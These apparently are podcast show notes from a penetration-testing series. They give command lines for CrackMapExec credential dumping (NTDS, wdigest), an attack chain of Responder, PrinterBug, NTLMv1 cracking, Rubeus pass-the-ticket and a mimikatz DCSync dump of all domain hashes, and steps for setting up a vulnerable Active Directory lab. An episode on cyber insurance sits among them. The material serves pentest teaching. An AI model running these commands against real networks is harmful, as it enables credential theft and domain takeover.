7MS #563: Cracking and Mapping and Execing with CrackMapExec - Part 2
Hey friends, today we're covering part 2 of our series all about cracking and mapping and execing with CrackMapExec. Specifically we cover: # Enumerate where your user has local admin rights: cme smb x.x.x.x/24 -u user -p password # Set wdigest flag: cme smb x.x.x.x -u user -p password -M wdigest -o ACTION=enable # Dump AD creds: cme smb IP.OF.DOMAIN.CONTROLLER -u user -p password --ntds --enabled # Clean up AD dump output: cat /path/to/file.ntds | grep -iv disabled | cut -d ':' -f1,4 | grep -v '\$' | sort # Check ms-ds-machineaccountquota: cme ldap x.x.x.x -u user -p password -M maq # Check for Active Directory Certificate Services: cme ldap x.x.x.x -u user -p password -M adcs # Pull all AD user descriptions: cme ldap x.x.x.x -u user -p password -M get-desc-users # Pull all AD user descriptions down to a file and search for users with "pass" in description: cme ldap x.x.x.x -u user -p password -M user-desc # CrackMapExec database (CME) ## Clear database sudo rm -r ~/.cme ## Handy commands inside the cmedb prompt: hosts shares creds export shares detailed shares.csv export creds detailed creds.txt

7MS #561: Interview with Chris Furner of Blumira
Today I sat down with Chris Furner of Blumira to talk about all things cyber insurance. Many of 7MinSec's clients are renewing their policies this time of year, and many are looking into policies for the first time. Naturally, there are a ton of questions to ask and things to think about to make good coverage decisions for your business: How do I get started in looking for a cyber policy - with my general liability insurer? Or are there companies that specialize just in cyber insurance? How do I make sure I have the appropriate levels of coverage? What are basic things I can do from a security standpoint that pretty much any insurer is going to expect me to do? Enjoy the interview, where we cover these questions - and more! And be sure to also check out Blumira's whitepaper on this topic called The State of Cyber Insurance.

7MS: #559: Tales of Pentest Pwnage - Part 46
Ooooo giggidy! Today's episode is about a pentest pwnage path that is super fun and interesting, and I've now seen 3-4 times in the wild. Here are some notes from the audio/video that will help bring this to life for you (oh and read this article for a great tech explanation of what's happening under the hood): Change the Responder.conf file like so: ; Custom challenge. ; Use "Random" for generating a random challenge for each requests (Default) Challenge = 1122334455667788 Run Responder with --disable-ess flag sudo python3 /opt/responder/Responder.py -I eth0 --disable-ess Use printerbug to coax authentication from a domain controller: sudo python3 /opt/krbrelay-dirkjanm/printerbug.py yourdomain.com/someuser@IP.OF.DOMAIN.CONTROLLER IP.OF.ATTACKING.BOX Convert hash to make it easier to crack! sudo python3 /opt/ntlmv1-multi/ntlmv1.py --ntlmv1 THE-HASH-YOU-GOT-FROM-RESPONDER Take the NTHASH:XXX token and go to crack.sh to have it cracked in about 30 seconds! Now you can do a Rubeus asktgt with the DC hash: rubeus.exe asktgt /domain:yourdomain.com /user:DOMAIN-CONTROLLER-NAME$ /rc4:HASH-GOES-HERE /nowrap Now pass the ticket and impersonate the DC LOL MUAHAHAHAHAHAHAAH!! rubeus.exe ptt /ticket:TICKET GOES HERE Use mimikatz to dump all hashes! mimikatz.exe privilege::debug log hashes.txt lsadump::dcsync /domain:yourdomain.com /all /csv

Today we continue part 2 of a series we started a few weeks ago all about building a vulnerable pentesting lab. Check out the video above, and here are the main snippets of code and tips to get you going: Use Youzer to import a bunch of bogus users into your Active Directory: sudo python ./youzer.py --generate --generate_length 20 --ou "ou=Contractors,dc=brifly,dc=us" --domain brifly.us --users 1000 --output lusers.csv Make a Kerberoastable user: New-AdUser -Name "Kerba Roastable" -GivenName "Kerba" -Surname "Roastable" -SamAccountName Kerba -Description "ROASTED!" -Path "OU=Contractors,DC=brifly,DC=us" -AccountPassword (ConvertTo-SecureString "Password1" -AsPlainText -force) -passThru -PasswordNeverExpires $true enable-adaccount Kerba setspn -a IIS_SITE/brifly-dc01.brily.us:77777 briflyus\kerba
